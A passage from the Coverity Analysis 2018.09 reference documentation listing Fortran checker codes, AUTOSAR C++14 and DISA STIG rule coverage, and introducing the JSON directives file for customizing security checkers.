| FC.795 | Syntax error | entity cannot have the PROTECTED attribute |
| FC.796 | Syntax error | dummy argument with assumed-type parameter expected |
| FC.797 | Syntax error | dummy argument must not be an elemental procedure |
| FC.798 | Syntax error | invalid specification of shape |
| FC.799 | Syntax error | named language binding not allowed |
Table 8.5. Coverity Fortran Syntax Analysis Checkers (800-907)
| Name | Category | Description |
|---|---|---|
| FC.800 | Multiple declaration of entity | multiple declaration of procedure |
| FC.801 | Unsupported | derived-type name expected |
| FC.802 | Syntax error | list of type-bound procedures not allowed |
| FC.803 | Syntax error | invalid usage of unlimited format item |
| FC.804 | Syntax error | scalar default integer or character constant expression expected |
| FC.806 | Syntax error | invalid coarray specification |
| FC.807 | Syntax error | argument must not have a polymorphic allocatable component |
| FC.808 | Syntax error | NULL() expected |
| FC.809 | Syntax error | NULL() or procedure name expected |
| FC.810 | Syntax error | TYPE IS, CLASS IS, or CLASS DEFAULT at invalid SELECT TYPE level |
| FC.811 | Syntax error | invalid argument value |
| FC.812 | Unused entity | derived-type component not used |
| FC.813 | Unused entity | derived-type component not referenced |
| FC.814 | Undefined entity | derived-type component not defined |
| FC.815 | Undefined entity | derived-type component not allocated |
| FC.816 | Undefined entity | derived-type component not associated |
| FC.817 | Syntax error | incorrect type for a coarray |
| FC.818 | Syntax error | cannot extend parent type |
| FC.819 | Syntax error | nonpointer nonallocatable scalar expected |
| FC.820 | Syntax error | array with the POINTER attribute expected |
| FC.821 | Syntax error | target must be contiguous |
| FC.822 | Syntax error | missing coarray specification |
| FC.823 | Syntax error | function result cannot be a coarray |
| FC.824 | Syntax error | type of function result must not have a coarray ultimate component |
| FC.825 | Syntax error | a coarray must be a dummy argument, allocatable, in main, or saved |
| FC.826 | Syntax error | must be a dummy argument or saved |
| FC.827 | Syntax error | deferred-coshape specification not allowed |
| FC.828 | Syntax error | deferred-coshape specification required |
| FC.829 | Syntax error | array pointer, assumed-shape or assumed-rank array expected |
| FC.830 | Syntax error | actual argument must be a contiguous array |
| FC.831 | Syntax error | entity cannot be a coarray |
| FC.832 | Syntax error | type not allowed for an INTENT(OUT) argument |
| FC.833 | Syntax error | a coarray cannot have the POINTER attribute |
| FC.834 | Syntax error | invalid usage of coindex or image selector |
| FC.835 | Syntax error | invalid number of cosubscripts |
| FC.836 | Syntax error | missing coshape specification |
| FC.837 | Syntax error | SAVE without entity list invalid in a BLOCK construct |
| FC.838 | Undefined entity | input or input/output argument is not defined |
| FC.839 | Syntax error | invalid usage of coindexed object |
| FC.840 | Syntax error | target has invalid rank |
| FC.841 | Code improvement | module object not used outside the module |
| FC.842 | Syntax error | component must have the POINTER and/or ALLOCATABLE attribute |
| FC.843 | Syntax error | statement not allowed within a CRITICAL or DO CONCURRENT construct |
| FC.844 | Syntax error | no corresponding CRITICAL statement found |
| FC.845 | Syntax error | missing END CRITICAL |
| FC.846 | Syntax error | a coarray cannot not be (de)allocated within this construct |
| FC.847 | Syntax error | invalid transfer of control out of construct |
| FC.848 | Syntax error | invalid list of edit descriptors |
| FC.849 | Syntax error | scalar character constant expression expected |
| FC.850 | Syntax error | ancestor module must not be intrinsic |
| FC.851 | Syntax error | module nature conflict |
| FC.854 | Syntax error | inconsistent attribute |
| FC.855 | Syntax error | inconsistent dummy argument name |
| FC.856 | Syntax error | inconsistent characteristics |
| FC.857 | Information | intrinsic module has the same name as a non-intrinsic module |
| FC.858 | Information | non-intrinsic module has the same name as an intrinsic module |
| FC.859 | Unused entity | variable, used as actual argument, unreferenced |
| FC.860 | Syntax error | scalar default character constant expression expected |
| FC.861 | Syntax error | inconsistent BIND(C) attribute or binding label |
| FC.862 | Multiple declaration of entity | binding label is not unique |
| FC.863 | Syntax error | initialization expression expected |
| FC.864 | Syntax error | an assumed-type entity must be a dummy variable |
| FC.865 | Syntax error | an assumed-type variable name can only be used as an actual argument |
| FC.866 | Syntax error | an assumed-rank variable name can only be used as an actual argument |
| FC.867 | Syntax error | assumed-shape or assumed-rank argument expected |
| FC.868 | Syntax error | assumed-rank entity must be a dummy data object |
| FC.869 | Syntax error | invalid usage of procedure pointer |
| FC.870 | Code improvement | dummy argument has no INTENT attribute |
| FC.871 | Syntax error | INTENT(IN) dummy argument must not be modified |
| FC.872 | Syntax error | INTENT(IN) dummy argument pointer must not be modified |
| FC.873 | Undefined entity | INTENT(OUT) dummy argument is not defined |
| FC.874 | Undefined entity | INTENT(OUT) dummy argument pointer is not associated or nullified |
| FC.875 | Code improvement | INTENT(INOUT) dummy argument is not modified in this procedure |
| FC.876 | Code improvement | INTENT(INOUT) pointer association is not modified in this procedure |
| FC.877 | Code improvement | INTENT(INOUT) dummy argument is defined before referenced |
| FC.878 | Code improvement | INTENT(INOUT) dummy argument pointer is modified before referenced |
| FC.879 | Syntax error | an explicit RESULT variable must be declared for direct recursion. |
| FC.880 | Syntax error | specification expression expected |
| FC.881 | Syntax error | missing END ASSOCIATE('s) |
| FC.882 | Undefined entity | pointer association is not defined |
| FC.883 | Undefined entity | pointer association of one or more component(s) is not defined |
| FC.885 | Syntax error | array element or scalar structure component expected |
| FC.886 | Syntax error | expression in CASE statement not in range of selector |
| FC.887 | Unused entity | array unreferenced |
| FC.888 | Unused entity | array not used |
| FC.889 | Information | shape differs from first occurrence |
| FC.890 | Syntax error | inquired characteristic must be specified in a prior specification |
| FC.891 | Syntax error | USE of ancestor module is not permitted |
| FC.892 | Information | mixing of volatile and non-volatile objects in equivalence |
| FC.893 | Syntax error | invalid modification: actual argument has a vector subscript |
| FC.894 | Syntax error | decimal range of integer must be at least that of default integer |
| FC.895 | Syntax error | 'ADVANCE=' specifier not allowed in a DO CONCURRENT construct |
| FC.896 | Syntax error | statement function cannot be of a parameterized derived type |
| FC.897 | Syntax error | ancestor declares no separate module procedures |
| FC.898 | Undefined entity | variable not defined |
| FC.899 | Undefined entity | none of the equivalenced variables of the same type is defined |
| FC.900 | Information | optional dummy argument used without verifying with PRESENT |
| FC.901 | Information | IMPORT already specified |
| FC.902 | Syntax error | assumed-rank array expected in selector of SELECT RANK construct |
| FC.903 | Syntax error | statement only allowed within derived type definition |
| FC.905 | Syntax error | an END TEAM is encountered but no accompanying SELECT TEAM is present |
| FC.906 | Syntax error | there are more SELECT TEAM statements than END TEAMs |
| FC.907 | Syntax error | an internal procedure must not appear in an interface block |
Coverity Analysis can identify violations of the following AUTOSAR C++14 rules.
Table A.1. AUTOSAR C++14 Standard
| Name | Description | Coverity Checker |
|---|---|---|
| A0-1-1 | A project shall not contain instances of non-volatile variables being given values that are not subsequently used. | AUTOSAR C++14 A0-1-1 |
| A0-1-2 | The value returned by a function having a non-void return type that is not an overloaded operator shall be used. | AUTOSAR C++14 A0-1-2 |
| A5-0-1 | The value of an expression shall be the same under any order of evaluation that the standard permits. | AUTOSAR C++14 A5-0-1 |
| A5-0-2 | The condition of an if-statement and the condition of an iteration statement shall have type bool. | AUTOSAR C++14 A5-0-2 |
| A5-0-3 | The declaration of objects shall contain no more than two levels of pointer indirection. | AUTOSAR C++14 A5-0-3 |
| A15-3-3 | There shall be at least one exception handler to catch all otherwise unhandled exceptions. | AUTOSAR C++14 A15-3-3 |
| A15-3-5 | A class type exception shall be caught by reference or const reference. | AUTOSAR C++14 A15-3-5 |
| A15-5-3 | The std::terminate() function shall not be called implicity. | AUTOSAR C++14 A15-5-3 |
| A17-0-1 | Reserved identifiers, macros, and functions in the C++ standard library shall not be defined, redefined, or undefined. | AUTOSAR C++14 A17-0-1 |
| A18-0-2 | The library functions atof, atoi and atol from library <cstdlib> shall not be used. | AUTOSAR C++14 A18-0-2 |
| M0-1-1 | A project shall not contain unreachable code. | AUTOSAR C++14 M0-1-1 |
| M0-1-2 | A project shall not contain infeasible paths. | AUTOSAR C++14 M0-1-2 |
| M0-1-3 | A project shall not contain unused variables. | AUTOSAR C++14 M0-1-3 |
| M0-1-4 | A project shall not contain non-volatile POD variables having only one use. | AUTOSAR C++14 M0-1-4 |
| M0-1-5 | A project shall not contain unused type declarations. | AUTOSAR C++14 M0-1-5 |
| M0-1-8 | All functions with void return type shall have external side effect(s). | AUTOSAR C++14 M0-1-8 |
| M0-1-9 | There shall be no dead code. | AUTOSAR C++14 M0-1-9 |
| M0-1-11 | There shall be no unused parameters (named or unnamed) in non-virtual functions. | AUTOSAR C++14 M0-1-11 |
| M0-1-12 | There shall be no unused parameters (named or unnamed) in the set of parameters for a virtual function and all the functions that override it. | AUTOSAR C++14 M0-1-12 |
| M0-2-1 | An object shall not be assigned to an overlapping object. | AUTOSAR C++14 M0-2-1 |
| M0-3-2 | If a function generates error information, then that error information shall be tested. | AUTOSAR C++14 M0-3-2 |
| M2-10-1 | Different identifiers shall be typographically unambiguous. | AUTOSAR C++14 M2-10-1 |
| M2-10-3 | A typedef name (including qualification, if any) shall be a unique identifier. | AUTOSAR C++14 M2-10-3 |
| M2-10-6 | If an identifier refers to a type, it shall not also refer to an object or a function in the same scope. | AUTOSAR C++14 M2-10-6 |
| M2-13-2 | Octal constants (other than zero) and octal escape sequences (other than "\0") shall not be used. | AUTOSAR C++14 M2-13-2 |
| M2-13-3 | A "U"suffix shall be applied to all octal or hexadecimal integer literals of unsigned type. | AUTOSAR C++14 M2-13-3 |
| M2-13-4 | Literal suffixes shall be upper case. | AUTOSAR C++14 M2-13-4 |
| M3-1-2 | Functions shall not be declared at block scope. | AUTOSAR C++14 M3-1-2 |
| M3-2-1 | All declarations of an object or function shall have compatible types. | AUTOSAR C++14 M3-2-1 |
| M3-2-2 | The One Definition Rule shall not be violated. | AUTOSAR C++14 M3-2-2 |
| M3-2-3 | A type, object or function that is used in multiple translation units shall be declared in one and only one file. | AUTOSAR C++14 M3-2-3 |
| M3-2-4 | An identifier with external linkage shall have exactly one definition. | AUTOSAR C++14 M3-2-4 |
| M3-3-2 | If a function has internal linkage then all re-declarations shall include the static storage class specifier. | AUTOSAR C++14 M3-3-2 |
| M3-4-1 | An identifier declared to be an object or type shall be defined in a block that minimizes its visibility. | AUTOSAR C++14 M3-4-1 |
| M3-9-1 | The types used for an object, a function return type, or a function parameter shall be token-for-token identical in all declarations and re-declarations. | AUTOSAR C++14 M3-9-1 |
| M3-9-3 | The underlying bit representations of floating-point values shall not be used. | AUTOSAR C++14 M3-9-3 |
| M4-5-1 | Expressions with type bool shall not be used as operands to built-in operators other than the assignment operator =, the logical operators &&, ||, !, the equality operators == and !=, the unary & operator, and the conditional operator. | AUTOSAR C++14 M4-5-1 |
| M4-5-3 | Expressions with type (plain) char and wchar_t shall not be used as operands to built-in operators other than the assignment operator =, the equality operators == and !=, and the unary & operator. | AUTOSAR C++14 M4-5-3 |
| M4-10-1 | NULL shall not be used as an integer value. | AUTOSAR C++14 M4-10-1 |
| M4-10-2 | Literal zero (0) shall not be used as the null-pointer-constant. | AUTOSAR C++14 M4-10-2 |
| M5-0-2 | Limited dependence should be placed on C++ operator precedence rules in expressions. | AUTOSAR C++14 M5-0-2 |
| M5-0-3 | A cvalue expression shall not be implicitly converted to a different underlying type. | AUTOSAR C++14 M5-0-3 |
| M5-0-4 | An implicit integral conversion shall not change the signedness of the underlying type. | AUTOSAR C++14 M5-0-4 |
| M5-0-5 | There shall be no implicit floating-integral conversions. | AUTOSAR C++14 M5-0-5 |
| M5-0-6 | An implicit integral or floating-point conversion shall not reduce the size of the underlying type. | AUTOSAR C++14 M5-0-6 |
| M5-0-7 | There shall be no explicit floating-integral conversions of a cvalue expression. | AUTOSAR C++14 M5-0-7 |
| M5-0-8 | An explicit integral or floating-point conversion shall not increase the size of the underlying type of a cvalue expression. | AUTOSAR C++14 M5-0-8 |
| M5-0-9 | An explicit integral conversion shall not change the signedness of the underlying type of a cvalue expression. | AUTOSAR C++14 M5-0-9 |
| M5-0-10 | If the bitwise operators ~and << are applied to an operand with an underlying type of unsigned char or unsigned short, the result shall be immediately cast to the underlying type of the operand. | AUTOSAR C++14 M5-0-10 |
| M5-0-11 | The plain char type shall only be used for the storage and use of character values. | AUTOSAR C++14 M5-0-11 |
| M5-0-12 | Signed char and unsigned char type shall only be used for the storage and use of numeric values. | AUTOSAR C++14 M5-0-12 |
| M5-0-14 | The first operand of a conditional-operator shall have type bool. | AUTOSAR C++14 M5-0-14 |
| M5-0-15 | Array indexing shall be the only form of pointer arithmetic. | AUTOSAR C++14 M5-0-15 |
| M5-0-16 | A pointer operand and any pointer resulting from pointer arithmetic using that operand shall both address elements of the same array. | AUTOSAR C++14 M5-0-16 |
| M5-0-17 | Subtraction between pointers shall only be applied to pointers that address elements of the same array. | AUTOSAR C++14 M5-0-17 |
| M5-0-18 | >, >=, <, <= shall not be applied to objects of pointer type, except where they point to the same array. | AUTOSAR C++14 M5-0-18 |
| M5-0-20 | Non-constant operands to a binary bitwise operator shall have the same underlying type. | AUTOSAR C++14 M5-0-20 |
| M5-0-21 | Bitwise operators shall only be applied to operands of unsigned underlying type. | AUTOSAR C++14 M5-0-21 |
| M5-2-1 | Each operand of a logical &&, || shall be a postfix expression. | AUTOSAR C++14 M5-2-1 |
| M5-2-2 | A pointer to a virtual base class shall only be cast to a pointer to a derived class by means of dynamic_cast. | AUTOSAR C++14 M5-2-2 |
| M5-2-3 | Casts from a base class to a derived class should not be performed on polymorphic types. | AUTOSAR C++14 M5-2-3 |
| M5-2-6 | A cast shall not convert a pointer to a function to any other pointer type, including a pointer to function type. | AUTOSAR C++14 M5-2-6 |
| M5-2-8 | An object with integer type or pointer to void type shall not be converted to an object with pointer type. | AUTOSAR C++14 M5-2-8 |
| M5-2-9 | A cast shall not convert a pointer type to an integral type. | AUTOSAR C++14 M5-2-9 |
| M5-2-10 | The increment (++) and decrement (--) operators shall not be mixed with other operators in an expression. | AUTOSAR C++14 M5-2-10 |
| M5-2-11 | The comma operator, && operator and the || operator shall not be overloaded. | AUTOSAR C++14 M5-2-11 |
| M5-2-12 | An identifier with array type passed as a function argument shall not decay to a pointer. | AUTOSAR C++14 M5-2-12 |
| M5-3-1 | Each operand of the ! operator, the logical && or the logical || operators shall have type bool. | AUTOSAR C++14 M5-3-1 |
| M5-3-2 | The unary minus operator shall not be applied to an expression whose underlying type is unsigned. | AUTOSAR C++14 M5-3-2 |
| M5-3-3 | The unary & operator shall not be overloaded. | AUTOSAR C++14 M5-3-3 |
| M5-3-4 | Rule M5-3-4 (required, implementation, automated) Evaluation of the operand to the sizeof operator shall not contain side effects. | AUTOSAR C++14 M5-3-4 |
| M5-8-1 | The right hand operand of a shift operator shall lie between zero and one less than the width in bits of the underlying type of the left hand operand. | AUTOSAR C++14 M5-8-1 |
| M5-14-1 | The right hand operand of a logical &&, || operators shall not contain side effects. | AUTOSAR C++14 M5-14-1 |
| M5-18-1 | The comma operator shall not be used. | AUTOSAR C++14 M5-18-1 |
| M5-19-1 | Evaluation of constant unsigned integer expressions shall not lead to wrap- around. | AUTOSAR C++14 M5-19-1 |
| M6-2-1 | Assignment operators shall not be used in sub-expressions. | AUTOSAR C++14 M6-2-1 |
| M6-2-2 | Floating-point expressions shall not be directly or indirectly tested for equality or inequality. | AUTOSAR C++14 M6-2-2 |
| M6-2-3 | Before preprocessing, a null statement shall only occur on a line by itself; it may be followed by a comment, provided that the first character following the null statement is a white-space character. | AUTOSAR C++14 M6-2-3 |
| M6-3-1 | The statement forming the body of a switch, while, do ... while or for statement shall be a compound statement. | AUTOSAR C++14 M6-3-1 |
| M6-4-1 | An if ( condition ) construct shall be followed by a compound statement. The else keyword shall be followed by either a compound statement, or another if statement. | AUTOSAR C++14 M6-4-1 |
| M6-4-2 | All if ... else if constructs shall be terminated with an else clause. | AUTOSAR C++14 M6-4-2 |
| M6-4-3 | A switch statement shall be a well-formed switch statement. | AUTOSAR C++14 M6-4-3 |
| M6-4-4 | A switch-label shall only be used when the most closely-enclosing compound statement is the body of a switch statement. | AUTOSAR C++14 M6-4-4 |
| M6-4-5 | An unconditional throw or break statement shall terminate every non-empty switch-clause. | AUTOSAR C++14 M6-4-5 |
| M6-4-6 | The final clause of a switch statement shall be the default-clause. | AUTOSAR C++14 M6-4-6 |
| M6-4-7 | The condition of a switch statement shall not have bool type. | AUTOSAR C++14 M6-4-7 |
| M6-5-2 | If loop-counter is not modified by -- or ++, then, within condition, the loop-counter shall only be used as an operand to <=, <, > or >=. | AUTOSAR C++14 M6-5-2 |
| M6-5-3 | The loop-counter shall not be modified within condition or statement. | AUTOSAR C++14 M6-5-3 |
| M6-5-4 | The loop-counter shall be modified by one of: --, ++, -=n, or +=n; where n remains constant for the duration of the loop. | AUTOSAR C++14 M6-5-4 |
| M6-5-5 | A loop-control-variable other than the loop-counter shall not be modified within condition or expression. | AUTOSAR C++14 M6-5-5 |
| M6-5-6 | A loop-control-variable other than the loop-counter which is modified in statement shall have type bool. | AUTOSAR C++14 M6-5-6 |
| M6-6-1 | Any label referenced by a goto statement shall be declared in the same block, or in a block enclosing the goto statement. | AUTOSAR C++14 M6-6-1 |
| M6-6-2 | The goto statement shall jump to a label declared later in the same function body. | AUTOSAR C++14 M6-6-2 |
| M6-6-3 | The continue statement shall only be used within a well-formed for loop. | AUTOSAR C++14 M6-6-3 |
| M7-1-2 | A pointer or reference parameter in a function shall be declared as pointer to const or reference to const if the corresponding object is not modified. | AUTOSAR C++14 M7-1-2 |
| M7-3-1 | The global namespace shall only contain main, namespace declarations and extern "C"declarations. | AUTOSAR C++14 M7-3-1 |
| M7-3-2 | The identifier main shall not be used for a function other than the global function main. | AUTOSAR C++14 M7-3-2 |
| M7-3-3 | There shall be no unnamed namespaces in header files. | AUTOSAR C++14 M7-3-3 |
| M7-3-4 | Using-directives shall not be used. | AUTOSAR C++14 M7-3-4 |
| M7-3-5 | Multiple declarations for an identifier in the same namespace shall not straddle a using-declaration for that identifier. | AUTOSAR C++14 M7-3-5 |
| M7-3-6 | Using-directives and using-declarations (excluding class scope or function scope using-declarations) shall not be used in header files. | AUTOSAR C++14 M7-3-6 |
| M7-4-2 | Assembler instructions shall only be introduced using the asm directive. | AUTOSAR C++14 M7-4-2 |
| M7-4-3 | Assembly language shall be encapsulated and isolated. | AUTOSAR C++14 M7-4-3 |
| M7-5-1 | A function shall not return a reference or a pointer to an automatic variable (including parameters), defined within the function. | AUTOSAR C++14 M7-5-1 |
| M7-5-2 | The address of an object with automatic storage shall not be assigned to another object that may persist after the first object has ceased to exist. | AUTOSAR C++14 M7-5-2 |
| M8-0-1 | An init-declarator-list or a member-declarator-list shall consist of a single init-declarator or member-declarator respectively. | AUTOSAR C++14 M8-0-1 |
| M8-3-1 | Parameters in an overriding virtual function shall either use the same default arguments as the function they override, or else shall not specify any default arguments. | AUTOSAR C++14 M8-3-1 |
| M8-4-2 | The identifiers used for the parameters in a re-declaration of a function shall be identical to those in the declaration. | AUTOSAR C++14 M8-4-2 |
| M8-4-4 | A function identifier shall either be used to call the function or it shall be preceded by &. | AUTOSAR C++14 M8-4-4 |
| M8-5-1 | All variables shall have a defined value before they are used. | AUTOSAR C++14 M8-5-1 |
| M8-5-2 | Braces shall be used to indicate and match the structure in the non-zero initialization of arrays and structures. | AUTOSAR C++14 M8-5-2 |
| M9-3-1 | Const member functions shall not return non-const pointers or references to class-data. | AUTOSAR C++14 M9-3-1 |
| M9-3-3 | If a member function can be made static then it shall be made static, otherwise if it can be made const then it shall be made const. | AUTOSAR C++14 M9-3-3 |
| M9-5-1 | Unions shall not be used. | AUTOSAR C++14 M9-5-1 |
| M10-1-1 | Classes should not be derived from virtual bases. | AUTOSAR C++14 M10-1-1 |
| M10-1-3 | An accessible base class shall not be both virtual and non-virtual in the same hierarchy. | AUTOSAR C++14 M10-1-3 |
| M10-2-1 | All accessible entity names within a multiple inheritance hierarchy should be unique. | AUTOSAR C++14 M10-2-1 |
| M10-3-3 | A virtual function shall only be overridden by a pure virtual function if it is itself declared as pure virtual. | AUTOSAR C++14 M10-3-3 |
| M11-0-1 | Member data in non-POD class types shall be private. | AUTOSAR C++14 M11-0-1 |
| M12-1-1 | An object's dynamic type shall not be used from the body of its constructor or destructor. | AUTOSAR C++14 M12-1-1 |
| M14-5-2 | A copy constructor shall be declared when there is a template constructor with a single parameter that is a generic parameter. | AUTOSAR C++14 M14-5-2 |
| M14-5-3 | A copy assignment operator shall be declared when there is a template assignment operator with a parameter that is a generic parameter. | AUTOSAR C++14 M14-5-3 |
| M14-6-1 | In a class template with a dependent base, any name that may be found in that dependent base shall be referred to using a qualified-id or this->. | AUTOSAR C++14 M14-6-1 |
| M14-7-3 | All partial and explicit specializations for a template shall be declared in the same file as the declaration of their primary template. | AUTOSAR C++14 M14-7-3 |
| M14-8-1 | Overloaded function templates shall not be explicitly specialized. | AUTOSAR C++14 M14-8-1 |
| M15-0-3 | Control shall not be transferred into a try or catch block using a goto or a switch statement. | AUTOSAR C++14 M15-0-3 |
| M15-1-1 | The assignment-expression of a throw statement shall not itself cause an exception to be thrown. | AUTOSAR C++14 M15-1-1 |
| M15-1-2 | NULL shall not be thrown explicitly. | AUTOSAR C++14 M15-1-2 |
| M15-1-3 | An empty throw (throw;) shall only be used in the compound statement of a catch handler. | AUTOSAR C++14 M15-1-3 |
| M15-3-1 | Exceptions shall be raised only after start-up and before termination. | AUTOSAR C++14 M15-3-1 |
| M15-3-3 | Handlers of a function-try-block implementation of a class constructor or destructor shall not reference non-static members from this class or its bases. | AUTOSAR C++14 M15-3-3 |
| M15-3-4 | Each exception explicitly thrown in the code shall have a handler of a compatible type in all call paths that could lead to that point. | AUTOSAR C++14 M15-3-4 |
| M15-3-6 | Where multiple handlers are provided in a single try-catch statement or function-try-block for a derived class and some or all of its bases, the handlers shall be ordered most-derived to base class. | AUTOSAR C++14 M15-3-6 |
| M15-3-7 | Where multiple handlers are provided in a single try-catch statement or function-try-block, any ellipsis (catch-all) handler shall occur last. | AUTOSAR C++14 M15-3-7 |
| M16-0-1 | #include directives in a file shall only be preceded by other pre-processor directives or comments. | AUTOSAR C++14 M16-0-1 |
| M16-0-2 | Macros shall only be #define'd or #undef'd in the global namespace. | AUTOSAR C++14 M16-0-2 |
| M16-0-5 | Arguments to a function-like macro shall not contain tokens that look like pre-processing directives. | AUTOSAR C++14 M16-0-5 |
| M16-0-6 | In the definition of a function-like macro, each instance of a parameter shall be enclosed in parentheses, unless it is used as the operand of # or ##. | AUTOSAR C++14 M16-0-6 |
| M16-0-7 | Undefined macro identifiers shall not be used in #if or #elif pre-processor directives, except as operands to the defined operator. | AUTOSAR C++14 M16-0-7 |
| M16-0-8 | If the # token appears as the first token on a line, then it shall be immediately followed by a pre-processing token. | AUTOSAR C++14 M16-0-8 |
| M16-1-1 | The defined pre-processor operator shall only be used in one of the two standard forms. | AUTOSAR C++14 M16-1-1 |
| M16-1-2 | All #else, #elif and #endif pre-processor directives shall reside in the same file as the #if or #ifdef directive to which they are related. | AUTOSAR C++14 M16-1-2 |
| M16-3-1 | There shall be at most one occurrence of the # or ## operators in a single macro definition. | AUTOSAR C++14 M16-3-1 |
| M16-3-2 | The # and ## operators should not be used. | AUTOSAR C++14 M16-3-2 |
| M17-0-2 | The names of standard library macros and objects shall not be reused. | AUTOSAR C++14 M17-0-2 |
| M17-0-3 | The names of standard library functions shall not be overridden. | AUTOSAR C++14 M17-0-3 |
| M17-0-5 | The setjmp macro and the longjmp function shall not be used. | AUTOSAR C++14 M17-0-5 |
| M18-0-3 | The library functions abort, exit, getenv and system from library <cstdlib> shall not be used. | AUTOSAR C++14 M18-0-3 |
| M18-0-4 | The time handling functions of library <ctime> shall not be used. | AUTOSAR C++14 M18-0-4 |
| M18-0-5 | The unbounded functions of library <cstring> shall not be used. | AUTOSAR C++14 M18-0-5 |
| M18-2-1 | The macro offsetof shall not be used. | AUTOSAR C++14 M18-2-1 |
| M18-7-1 | The signal handling facilities of <csignal> shall not be used. | AUTOSAR C++14 M18-7-1 |
| M19-3-1 | The error indicator errno shall not be used. | AUTOSAR C++14 M19-3-1 |
| M27-0-1 | The stream input/output library <cstdio> shall not be used. | AUTOSAR C++14 M27-0-1 |
Coverity Analysis can identify violations of the following DISA STIG rules.
Table B.1. DISA STIG Coverage
| Name | Description | Coverity Checkers | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| APSC-DV-001995 | The application must not be vulnerable to race conditions. |
| |||||||||||||||||||||||||
| APSC-DV-002210 | The application must set the HTTPOnly flag on session cookies. |
| |||||||||||||||||||||||||
| APSC-DV-002230 | The application must not expose session IDs. |
| |||||||||||||||||||||||||
| APSC-DV-002300 | The application must only allow the use of DoD-approved certificate authorities for verification of the establishment of protected sessions. |
| |||||||||||||||||||||||||
| APSC-DV-002390 | XML-based applications must mitigate DoS attacks by using XML filters, parser options, or gateways. |
| |||||||||||||||||||||||||
| APSC-DV-002460 | The application must maintain the confidentiality and integrity of information during preparation for transmission. |
| |||||||||||||||||||||||||
| APSC-DV-002480 | The application must not disclose unnecessary information to users. |
| |||||||||||||||||||||||||
| APSC-DV-002490 | The application must protect from Cross-Site Scripting (XSS) vulnerabilities. |
| |||||||||||||||||||||||||
| APSC-DV-002500 | The application must protect from Cross-Site Request Forgery (CSRF) vulnerabilities. |
| |||||||||||||||||||||||||
| APSC-DV-002510 | The application must protect from command injection. |
| |||||||||||||||||||||||||
| APSC-DV-002520 | The application must protect from canonical representation vulnerabilities. |
| |||||||||||||||||||||||||
| APSC-DV-002530 | The application must validate all input. |
| |||||||||||||||||||||||||
| APSC-DV-002540 | The application must not be vulnerable to SQL Injection. |
| |||||||||||||||||||||||||
| APSC-DV-002560 | The application must not be subject to input handling vulnerabilities. |
| |||||||||||||||||||||||||
| APSC-DV-002590 | The application must not be vulnerable to overflow attacks. |
| |||||||||||||||||||||||||
| APSC-DV-003110 | The application must not contain embedded authentication data. |
| |||||||||||||||||||||||||
| APSC-DV-003215 | The application development team must follow a set of coding standards. |
| |||||||||||||||||||||||||
| APSC-DV-003235 | The application must not be subject to error handling vulnerabilities. |
| |||||||||||||||||||||||||
| APSC-DV-003320 | Protections against DoS attacks must be implemented. |
|
To run the MISRA analysis, you must pass the
--coding-standard-config
option to
cov-analyze. See
Coverity Analysis 2018.09 User and Administrator Guide
("Running MISRA analyses") for
guidance with the rest of the analysis workflow.
![]() | |
Coverity Analysis only identifies violations of MISRA rules and directives identified in this section. |
Table C.1. MISRA C 2004
Table C.2. MISRA C++ 2008
Table C.3. MISRA C 2012
Coverity Analysis can identify rules violations for the following SEI CERT standards.
Table D.1. SEI CERT C Coding Standard
Table D.2. SEI CERT C++ Coding Standard
This appendix describes a directives file format that allows you to define new checkers
and to modify the behavior of existing Web application and Android application security
checkers, for example, to support new frameworks and APIs or to suppress false positive
defect reports. To use this functionality, you must create a file in JSON syntax and pass it
to either the
--directive-file
option or, for the DC.CUSTOM checker, the
--dc-config
option of cov-analyze. (The deprecated
--webapp-security-config
option of
cov-analyze is equivalent to the --directive-file
option.)
The following sections describe the syntax of these JSON files, including some extensions to standard JSON that this format supports. The subsections of Section E.1.4, “Schema” describe the individual directives.
Each directive has a specific effect on the analysis. Here are some things you can accomplish with directives:
Create your own checker that reports a defect on calls to any of a list of functions. See Section 4.69, “DC.CUSTOM_CHECKER”.
Create your own checker that reports a defect on XML files that match an XPath query or text files that match a regular expression. See Section 4.211, “TEXT.CUSTOM_CHECKER”.
Support Web frameworks that define new application entry points. See Section E.1.4.2.29, “simple_entry_point directive” and Section E.1.4.2.3, “async_method directive”.
Extend tainted dataflow checkers (such as SQLI and XSS) by identifying more sources of untrusted data, for example, from your custom libraries or frameworks. See Section E.1.4.2.31, “tainted_data directive”, Section E.1.4.2.21, “method_returns_tainted_data directive”, and Section E.1.4.2.9, “data_has_tag directive”.
Create your own tainted dataflow checker. See Section 4.78, “DF.CUSTOM_CHECKER”.
Extend existing tainted dataflow checkers (such as SQLI and XSS) by identifying more sinks, which are functions or other program locations that are vulnerable to attack if unsanitized, user-controlled (tainted) data flows into them. See Section E.1.4.2.30, “sink_for_checker directive” and Section E.1.4.2.9, “data_has_tag directive”.
Extend existing dataflow checkers (such as SQLI, XSS, and SENSITIVE_DATA_LEAK) by adding dataflow pass-through rules for your custom libraries or frameworks. See Section E.1.4.2.19, “method_returns_param directive”, Section E.1.4.2.8, “dataflow_through_callsite directive”, Section E.1.4.2.3, “async_method directive”, Section Section E.1.4.2.15, “local_callback directive”, Section E.1.4.2.16, “map_read directive”, Section E.1.4.2.17, “map_write directive”, and Section E.1.4.2.9, “data_has_tag directive”.
Suppress false positive defect reports from certain checkers or groups of checkers. See Section E.1.4.2.26, “sanitizer_for_checker directive”, Section E.1.4.2.1, “android_safe_categories directive”, Section E.1.4.2.2, “android_protected_intent_actions directive”, Section E.1.4.2.12, “ignore_all_argument_dataflow_to_method directive”, Section E.1.4.2.13, “ignore_method_dataflow directive ”, and Section E.1.4.2.14, “ignore_method_output directive”.
Perform advanced tuning on the XSS checker. Section E.1.4.2.4, “class_like_print_writer_for_servlet_output directive”, Section E.1.4.2.11, “define_lookup_method_call_map directive”, Section E.1.4.2.20, “method_returns_servlet_output_stream directive”, Section E.1.4.2.23, “method_with_servlet_sinks_on_input directive”, Section E.1.4.2.24, “method_with_servlet_sinks_on_output directive”, Section E.1.4.2.25, “move_xss_outside_method directive”, and Section E.1.4.2.33, “xss_sanitizer_method directive”.
Tune the WEAK_GUARD checker. Section E.1.4.2.28, “sensitive_operation directive”.
The following languages are supported by the configuration file:
C, C++, Objective-C, Objective-C++, C#, Java, JavaScript, .NET, and Visual Basic.
The associated values are for the language field of the configuration
file (see Section E.1.4.1, “Top-level value”).
Either a double-quoted string, a number, a boolean (true/false), an object, an array, or null.
An unordered set of name/value pairs, also referred to here as fields.
An ordered collection of values.
